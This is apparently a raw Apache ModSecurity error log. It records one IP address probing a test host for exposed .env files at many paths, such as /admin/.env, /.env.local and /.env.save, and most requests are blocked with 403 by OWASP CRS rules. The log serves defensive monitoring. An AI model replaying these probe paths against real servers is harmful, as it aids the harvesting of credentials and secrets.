[Thu Feb 26 01:02:43.448959 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2gAAAAU&quot;]
[Thu Feb 26 01:02:43.455542 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8AAAAAE&quot;]
[Thu Feb 26 01:02:43.455753 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8AAAAAE&quot;]
[Thu Feb 26 01:02:43.455912 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8AAAAAE&quot;]
[Thu Feb 26 01:02:43.473505 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2wAAAAU&quot;]
[Thu Feb 26 01:02:43.473716 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2wAAAAU&quot;]
[Thu Feb 26 01:02:43.473855 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2wAAAAU&quot;]
[Thu Feb 26 01:02:43.490014 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8QAAAAE&quot;]
[Thu Feb 26 01:02:43.490253 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8QAAAAE&quot;]
[Thu Feb 26 01:02:43.490413 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8QAAAAE&quot;]
[Thu Feb 26 01:02:43.513826 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3AAAAAU&quot;]
[Thu Feb 26 01:02:43.514076 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3AAAAAU&quot;]
[Thu Feb 26 01:02:43.514225 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3AAAAAU&quot;]
[Thu Feb 26 01:02:43.524494 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8gAAAAE&quot;]
[Thu Feb 26 01:02:43.524697 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8gAAAAE&quot;]
[Thu Feb 26 01:02:43.524839 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8gAAAAE&quot;]
[Thu Feb 26 01:02:43.562625 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8wAAAAE&quot;]
[Thu Feb 26 01:02:43.562850 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8wAAAAE&quot;]
[Thu Feb 26 01:02:43.563009 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg8wAAAAE&quot;]
[Thu Feb 26 01:02:43.564278 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3QAAAAU&quot;]
[Thu Feb 26 01:02:43.564503 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3QAAAAU&quot;]
[Thu Feb 26 01:02:43.564646 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3QAAAAU&quot;]
[Thu Feb 26 01:02:43.597787 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3gAAAAU&quot;]
[Thu Feb 26 01:02:43.598013 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3gAAAAU&quot;]
[Thu Feb 26 01:02:43.598158 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3gAAAAU&quot;]
[Thu Feb 26 01:02:43.627009 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3wAAAAU&quot;]
[Thu Feb 26 01:02:43.627214 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3wAAAAU&quot;]
[Thu Feb 26 01:02:43.627366 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O3wAAAAU&quot;]
[Thu Feb 26 01:02:43.649224 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4AAAAAU&quot;]
[Thu Feb 26 01:02:43.649427 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4AAAAAU&quot;]
[Thu Feb 26 01:02:43.649570 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4AAAAAU&quot;]
[Thu Feb 26 01:02:43.650465 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9AAAAAE&quot;]
[Thu Feb 26 01:02:43.650708 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9AAAAAE&quot;]
